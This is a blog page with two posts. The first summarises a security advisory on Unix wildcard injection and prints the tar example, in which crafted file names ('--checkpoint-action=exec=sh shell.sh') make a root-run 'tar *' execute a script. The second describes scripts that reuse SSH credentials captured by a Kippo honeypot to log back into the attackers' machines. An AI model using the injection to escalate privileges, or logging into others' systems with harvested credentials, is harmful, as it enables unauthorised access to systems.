Exploiting Wildcards On Linux/Unix

Standard

From: http://beta.slashdot.org/story/203895


DefenseCode released an advisory in which researcher Leon Juranic details security issues related to using wildcards in Unix commands. The topic has been talked about in the past on the Full Disclosure mailing list, where some people saw this more as a feature than as a bug.

There are clearly a number of potential security issues surrounding this, so Mr. Juranic provided five actual exploitation examples that stress out the risks accompanying practice of using the * wildcard with Linux/Unix commands.

The issue can be manifested by using specific options in chown, tar, rsync etc. By using specially crafted filenames, an attacker can inject arbitrary arguments to shell commands run by other users – root as well.

One of the examples provided is the tar arbitrary command execution. The binary has two options that can be used for poisoning:

–checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)

–checkpoint-action=ACTION
execute ACTION on each checkpoint

By using tar with these options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.

Running tar cf archive.tar * on a folder with these files seems pretty straightforward and benign.

[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r–. 1 user user 201 Oct 28 17:43 download.php

The problem arises if the user created a couple of fake files and a shell script that contains any arbitrary command.

[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-r–r–. 1 leon leon 0 Oct 28 19:19 –checkpoint=1
-rw-r–r–. 1 leon leon 0 Oct 28 19:17 –checkpoint-action=exec=sh shell.sh
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r–. 1 user user 201 Oct 28 17:43 download.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh

By using the * wildcard in the tar command, these files will be understood as passed options to the tar binary and shell.sh will be executed as root.

The advisory in question details other similar exploitation methods. Also, around the same time when Mr. Juranic informed us about his work, another researcher posted to the Full Disclosure mailing list a similarly themed research focused on exploiting wildcards.

Is there a workaround? To quote the most upvoted post on a recent Reddit thread regarding wildcard exploitation: “./* Done”.

459 total views, no views today

Scripts to find and verify SSH logins to other machines by hacking back via Kippo

Standard

First we log all the connection attempts to my server(Live or new Virtual Machine) using the package called Kippo – http://code.google.com/p/kippo/.


Then we create this file I called grab_ssh_info.sh(Click for latest).


Then we can use the copy of /root/kippo_ssh_auths.log log to try and connect BACK to the door knockers machine and see if the login works.
If it does, add it to a success log(if new) and go on to the next one.
If it fails, ignore it. It will be deleted when we delete the copy of the log file at the end of the script.
I call this file test_ssh_info.sh


Small script(start_kippo.sh) for cron to make sure your Kippo is still running.
I noticed that the small VPS I was running would kill Kippo once awhile because I ran out of memory(32MB) and swap(32MB). So I tested every minute to see if needed starting again.


Set your log rotation to cycle the Kippo log every 24 hours or my scripts will be re testing a lot of ssh connections.
Set your cron to run them whenever. I recommend just before the logrotate cycle. Just make sure it is sequenced right. Do the grab script first.

759 total views, 1 views today